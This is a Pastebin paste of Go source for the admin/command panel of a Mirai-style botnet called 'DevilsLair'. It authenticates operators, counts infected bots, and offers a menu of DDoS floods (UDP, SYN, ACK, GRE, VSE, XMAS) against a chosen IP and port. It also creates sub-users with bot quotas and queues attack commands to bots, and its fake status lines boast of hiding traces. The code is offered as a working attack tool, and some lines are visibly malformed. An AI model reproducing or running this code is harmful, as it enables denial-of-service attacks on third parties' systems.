Advertisement
Guest User

Untitled

a guest
Nov 8th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.78 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. // Get username
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[31;1mUsername\033[0;31m: \033[0m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. // Get password
  36. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37. this.conn.Write([]byte("\033[31;1mPassword\033[0;31m: \033[0m"))
  38. password, err := this.ReadLine(true)
  39. if err != nil {
  40. return
  41. }
  42.  
  43. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44. this.conn.Write([]byte("\r\n"))
  45. spinBuf := []byte{'-', '\\', '|', '/'}
  46. for i := 0; i < 15; i++ {
  47. this.conn.Write(append([]byte("\r\033[31;0mPlease wait, loading... \033[32;1"), spinBuf[i % len(spinBuf)]))
  48. time.Sleep(time.Duration(500) * time.Millisecond)
  49.  
  50. var loggedIn bool
  51. var userInfo AccountInfo
  52. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  53. this.conn.Write([]byte("\r\033[31;1mAn unknown error occurred\r\n"))
  54. this.conn.Write([]byte("\033[0;31mPress any key to exit.\033[0m"))
  55. buf := make([]byte, 1)
  56. this.conn.Read(buf)
  57. return
  58. }
  59.  
  60. this.conn.Write([]byte("\r\n\033[0m"))
  61. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mSuccesfully hijacked connection\r\n"))
  62. time.Sleep(250 * time.Millisecond)
  63. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m|\033[1;31m Masking connection from utmp+wtmp...\r\n"))
  64. time.Sleep(500 * time.Millisecond)
  65. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mHiding from netstat...\r\n"))
  66. time.Sleep(150 * time.Millisecond)
  67. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mRemoving all traces of LD_PRELOAD...\r\n"))
  68. for i := 0; i < 4; i++ {
  69. time.Sleep(100 * time.Millisecond)
  70. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mWiping env libc.poison.so.%d\r\n", i + 1)))
  71. }
  72. this.conn.Write([]byte("\033[0;31m[+] \033[1;31mDevilsLair \033[0;31m| \033[1;31mSetting up virtual terminal...\r\n"))
  73. time.Sleep(1 * time.Second)
  74. go func() {
  75. i := 0
  76. for {
  77. var BotCount int
  78. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  79. BotCount = userInfo.maxBots
  80. } else {
  81. BotCount = clientList.Count()
  82. }
  83.  
  84. time.Sleep(time.Second)
  85. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Demons Loaded | (%s)\007", BotCount, username))); err != nil {
  86. this.conn.Close()
  87. break
  88. }
  89. i++
  90. if i % 60 == 0 {
  91. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  92. }
  93. }
  94. }()
  95. this.conn.Write([]byte("\033[2J\033[1H"))
  96. this.conn.Write([]byte("\033[31;1m .·¨'`; ,.·´¨;\ ,., ' ,-·-. ,'´¨; ,., ' ,.-·.\r\n"))
  97. this.conn.Write([]byte("\033[31;1m '; ;'\ '; ;::\ ;´ '· ., '; ';\ ,'´ ,':\' ;´ '· ., / ;'\'\r\n"))
  98. this.conn.Write([]byte("\033[31;1m ; ;::'\ ,' ;::'; .´ .-, ';\ ; ';:\ .' ,'´::'\' .´ .-, ';\ ; ;:::\\r\n"))
  99. this.conn.Write([]byte("\033[31;1m ; ;::_';,. ,.' ;:::';° / /:\:'; ;:'\' '\ ';::;'´ ,'´::::;' / /:\:'; ;:'\' '; ;::::;'\r\n"))
  100. this.conn.Write([]byte("\033[31;1m .' ,. -·~-·, ;:::'; ' ,' ,'::::'\'; ;::'; \ '·:' ,'´:::::;' ' ,' ,'::::'\'; ;::'; ; ;::::;\r\n"))
  101. this.conn.Write([]byte("\033[31;1m '; ;'\::::::::; '/::::; ,.-·' '·~^*'´¨, ';::; '·, ,'::::::;'´ ,.-·' '·~^*'´¨, ';::; '; ;'::::;\r\n"))
  102. this.conn.Write([]byte("\033[31;1m ; ';:;\;::-··; ;::::; ':, ,·:²*´¨¯'`; ;::'; ,' /::::::;' ' ':, ,·:²*´¨¯'`; ;::'; ; ';:::';\r\n"))
  103. this.conn.Write([]byte("\033[31;1m ':,.·´\;' ;' ,' :::/ ' ,' / \::::::::'; ;::'; ,´ ';\::::;' ' ,' / \::::::::'; ;::'; '; ;::::;'\r\n"))
  104. this.conn.Write([]byte("\033[31;1m \:::::\ \·.'::::; ,' ,'::::\·²*'´¨¯':,'\:; \`*ª'´\\::/‘ ,' ,'::::\·²*'´¨¯':,'\:; \*´\:::;‘\r\n"))
  105. this.conn.Write([]byte("\033[31;1m \;:·´ \:\::'; \`¨\:::/ \::\' '\:::::\'; ' \`¨\:::/ \::\' '\::\:;'\r\n"))
  106. this.conn.Write([]byte("\033[31;1m `·\;' '\::\;' '\;' ' `*ª'´‘ '\::\;' '\;' ' `*´‘\r\n"))
  107. this.conn.Write([]byte("\033[31;1m ' `¨' ' `¨'
  108. this.conn.Write([]byte("\033[0;31m #\033[31;1m--------\033[0;31m Welcome, " + username + "\033[31;1m --------\033[0;31m#\r\n"))
  109. for {
  110. var botCatagory string
  111. var botCount int
  112. this.conn.Write([]byte("\033[1;31m" + username + "\033[0;31m@\033[31;1mDevilsLair\033[0;31m#\033[0;31m \033[0m"))
  113. cmd, err := this.ReadLine(false)
  114.  
  115. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  116. this.conn.Write([]byte("\033[31;1m .·¨'`; ,.·´¨;\ ,., ' ,-·-. ,'´¨; ,., ' ,.-·.\r\n"))
  117. this.conn.Write([]byte("\033[31;1m '; ;'\ '; ;::\ ;´ '· ., '; ';\ ,'´ ,':\' ;´ '· ., / ;'\'\r\n"))
  118. this.conn.Write([]byte("\033[31;1m ; ;::'\ ,' ;::'; .´ .-, ';\ ; ';:\ .' ,'´::'\' .´ .-, ';\ ; ;:::\\r\n"))
  119. this.conn.Write([]byte("\033[31;1m ; ;::_';,. ,.' ;:::';° / /:\:'; ;:'\' '\ ';::;'´ ,'´::::;' / /:\:'; ;:'\' '; ;::::;'\r\n"))
  120. this.conn.Write([]byte("\033[31;1m .' ,. -·~-·, ;:::'; ' ,' ,'::::'\'; ;::'; \ '·:' ,'´:::::;' ' ,' ,'::::'\'; ;::'; ; ;::::;\r\n"))
  121. this.conn.Write([]byte("\033[31;1m '; ;'\::::::::; '/::::; ,.-·' '·~^*'´¨, ';::; '·, ,'::::::;'´ ,.-·' '·~^*'´¨, ';::; '; ;'::::;\r\n"))
  122. this.conn.Write([]byte("\033[31;1m ; ';:;\;::-··; ;::::; ':, ,·:²*´¨¯'`; ;::'; ,' /::::::;' ' ':, ,·:²*´¨¯'`; ;::'; ; ';:::';\r\n"))
  123. this.conn.Write([]byte("\033[31;1m ':,.·´\;' ;' ,' :::/ ' ,' / \::::::::'; ;::'; ,´ ';\::::;' ' ,' / \::::::::'; ;::'; '; ;::::;'\r\n"))
  124. this.conn.Write([]byte("\033[31;1m \:::::\ \·.'::::; ,' ,'::::\·²*'´¨¯':,'\:; \`*ª'´\\::/‘ ,' ,'::::\·²*'´¨¯':,'\:; \*´\:::;‘\r\n"))
  125. this.conn.Write([]byte("\033[31;1m \;:·´ \:\::'; \`¨\:::/ \::\' '\:::::\'; ' \`¨\:::/ \::\' '\::\:;'\r\n"))
  126. this.conn.Write([]byte("\033[31;1m `·\;' '\::\;' '\;' ' `*ª'´‘ '\::\;' '\;' ' `*´‘\r\n"))
  127. this.conn.Write([]byte("\033[31;1m ' `¨' ' `¨'
  128. this.conn.Write([]byte("\033[0;31m #\033[31;1m--------\033[0;31m Welcome, " + username + "\033[31;1m --------\033[0;31m#\r\n"))
  129. this.conn.Write([]byte("\033[0;31m #\033[31;1m--------\033[0;31m Welcome, " + username + "\033[31;1m --------\033[0;31m#\r\n"))
  130. continue
  131. }
  132. if cmd == "?" {
  133. this.conn.Write([]byte("\033[91m[+]---------------------------------------------------------[+]\r\n"))
  134. this.conn.Write([]byte("\033[91m |\033[91m Attack Menu For DevilsLair \033[91m|\r\n"))
  135. this.conn.Write([]byte("\033[91m |\033[0;31m udpplain [ip] [time] dport=[port] \033[30;1m| \033[91mudp \033[91m|\r\n"))
  136. this.conn.Write([]byte("\033[91m |\033[0;31m ack [ip] [time] dport=[port] \033[30;1m| \033[91mack \033[91m|\r\n"))
  137. this.conn.Write([]byte("\033[91m |\033[0;31m syn [ip] [time] dport=[port] \033[30;1m| \033[91msyn \033[91m|\r\n"))
  138. this.conn.Write([]byte("\033[91m |\033[0;31m vse [ip] [time] dport=[port] \033[30;1m| \033[91mvse \033[91m|\r\n"))
  139. this.conn.Write([]byte("\033[91m |\033[0;31m greeth [ip] [time] dport=[port] \033[30;1m| \033[91mgreeth \033[91m|\r\n"))
  140. this.conn.Write([]byte("\033[91m |\033[0;31m greip [ip] [time] dport=[port] \033[30;1m| \033[91mgreip \033[91m|\r\n"))
  141. this.conn.Write([]byte("\033[91m |\033[0;31m std [ip] [time] dport=[port] \033[30;1m| \033[91mstd \033[91m|\r\n"))
  142. this.conn.Write([]byte("\033[91m |\033[0;31m xmas [ip] [time] dport=[port] \033[30;1m| \033[91mxmas \033[91m|\r\n"))
  143. this.conn.Write([]byte("\033[91m |\033[0;31m credits \033[30;1m| \033[91mshows credits \033[91m|\r\n"))
  144. this.conn.Write([]byte("\033[91m |\033[0;31m cls or clear \033[30;1m| \033[91mclears screen \033[91m|\r\n"))
  145. this.conn.Write([]byte("\033[91m |\033[0;31m botcount or bots \033[30;1m| \033[91mshows bots \033[91m|\r\n"))
  146. this.conn.Write([]byte("\033[91m[+]---------------------------------------------------------[+]\r\n"))
  147. continue
  148. }
  149. if cmd == "help" {
  150. this.conn.Write([]byte("\033[0;91mGeneric help commands:\r\n"))
  151. this.conn.Write([]byte("\r\n"))
  152. this.conn.Write([]byte("\033[0;31m?: \033[0;91mShows attack menu\r\n"))
  153. this.conn.Write([]byte("\033[0;31mbots: \033[0;91mShows the full bot count\r\n"))
  154. this.conn.Write([]byte("\033[0;31mclear: \033[0;91mClears your screen\r\n"))
  155. this.conn.Write([]byte("\033[0;31mquit: \033[0;91mExit the botnet\r\n"))
  156. continue
  157. }
  158. if cmd == "credits" {
  159. this.conn.Write([]byte("\033[0;91mCredits:\r\n"))
  160. this.conn.Write([]byte("\033[0;31mOwner: \033[0;91mNAMEHERE \033[30;1m| \033[0;91mYour @ Here\r\n"))
  161. this.conn.Write([]byte("\033[0;31mBot Creator: \033[0;91mDevilsExploits \033[30;1m| \033[0;91m@EvilSwapper\r\n"))
  162. this.conn.Write([]byte("\033[0;31mServer Side Creator: \033[0;91mZesty \033[30;1m| \033[0;91m@BotRepping\r\n"))
  163. continue
  164. }
  165. if err != nil || cmd == "exit" || cmd == "quit" {
  166. return
  167. }
  168.  
  169. if cmd == "" {
  170. continue
  171. }
  172.  
  173. botCount = userInfo.maxBots
  174.  
  175. if userInfo.admin == 1 && cmd == "adduser" {
  176. this.conn.Write([]byte("Enter new username: "))
  177. new_un, err := this.ReadLine(false)
  178. if err != nil {
  179. return
  180. }
  181. this.conn.Write([]byte("Enter new password: "))
  182. new_pw, err := this.ReadLine(false)
  183. if err != nil {
  184. return
  185. }
  186. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  187. max_bots_str, err := this.ReadLine(false)
  188. if err != nil {
  189. return
  190. }
  191. max_bots, err := strconv.Atoi(max_bots_str)
  192. if err != nil {
  193. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  194. continue
  195. }
  196. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  197. duration_str, err := this.ReadLine(false)
  198. if err != nil {
  199. return
  200. }
  201. duration, err := strconv.Atoi(duration_str)
  202. if err != nil {
  203. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  204. continue
  205. }
  206. this.conn.Write([]byte("Cooldown time (0 for none): "))
  207. cooldown_str, err := this.ReadLine(false)
  208. if err != nil {
  209. return
  210. }
  211. cooldown, err := strconv.Atoi(cooldown_str)
  212. if err != nil {
  213. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  214. continue
  215. }
  216. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  217. confirm, err := this.ReadLine(false)
  218. if err != nil {
  219. return
  220. }
  221. if confirm != "y" {
  222. continue
  223. }
  224. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  225. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  226. } else {
  227. this.conn.Write([]byte("\033[31;1mUser added successfully.\033[0m\r\n"))
  228. }
  229. continue
  230. }
  231.  
  232. if userInfo.admin == 1 && cmd == "bots" {
  233. botCount = clientList.Count()
  234. m := clientList.Distribution()
  235. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m+---------------------------+\r\n\033[0m")))
  236. for k, v := range m {
  237. this.conn.Write([]byte(fmt.Sprintf("\033[1;31m%s: \033[0;31m%d\r\n", k, v)))
  238. }
  239. this.conn.Write([]byte(fmt.Sprintf("\r\n\033[1;31mTotal Bots:\033[0;31m %d\r\n", botCount)))
  240. this.conn.Write([]byte(fmt.Sprintf("\033[0;31m+---------------------------+\r\n\033[0m")))
  241. continue
  242. }
  243. if cmd[0] == '-' {
  244. countSplit := strings.SplitN(cmd, " ", 2)
  245. count := countSplit[0][1:]
  246. botCount, err = strconv.Atoi(count)
  247. if err != nil {
  248. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  249. continue
  250. }
  251. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  252. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  253. continue
  254. }
  255. cmd = countSplit[1]
  256. }
  257. if userInfo.admin == 1 && cmd[0] == '@' {
  258. cataSplit := strings.SplitN(cmd, " ", 2)
  259. botCatagory = cataSplit[0][1:]
  260. cmd = cataSplit[1]
  261. }
  262.  
  263. atk, err := NewAttack(cmd, userInfo.admin)
  264. if err != nil {
  265. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  266. } else {
  267. buf, err := atk.Build()
  268. if err != nil {
  269. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  270. } else {
  271. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  272. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  273. } else if !database.ContainsWhitelistedTargets(atk) {
  274. clientList.QueueBuf(buf, botCount, botCatagory)
  275. } else {
  276. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  277. }
  278. }
  279. }
  280. }
  281. }
  282. }
  283. func (this *Admin) ReadLine(masked bool) (string, error) {
  284. buf := make([]byte, 1024)
  285. bufPos := 0
  286.  
  287. for {
  288. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  289. if err != nil || n != 1 {
  290. return "", err
  291. }
  292. if buf[bufPos] == '\xFF' {
  293. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  294. if err != nil || n != 2 {
  295. return "", err
  296. }
  297. bufPos--
  298. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  299. if bufPos > 0 {
  300. this.conn.Write([]byte(string(buf[bufPos])))
  301. bufPos--
  302. }
  303. bufPos--
  304. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  305. bufPos--
  306. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  307. this.conn.Write([]byte("\r\n"))
  308. return string(buf[:bufPos]), nil
  309. } else if buf[bufPos] == 0x03 {
  310. this.conn.Write([]byte("^C\r\n"))
  311. return "", nil
  312. } else {
  313. if buf[bufPos] == '\x1B' {
  314. buf[bufPos] = '^';
  315. this.conn.Write([]byte(string(buf[bufPos])))
  316. bufPos++;
  317. buf[bufPos] = '[';
  318. this.conn.Write([]byte(string(buf[bufPos])))
  319. } else if masked {
  320. this.conn.Write([]byte("*"))
  321. } else {
  322. this.conn.Write([]byte(string(buf[bufPos])))
  323. }
  324. }
  325. bufPos++
  326. }
  327. return string(buf), nil
  328. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement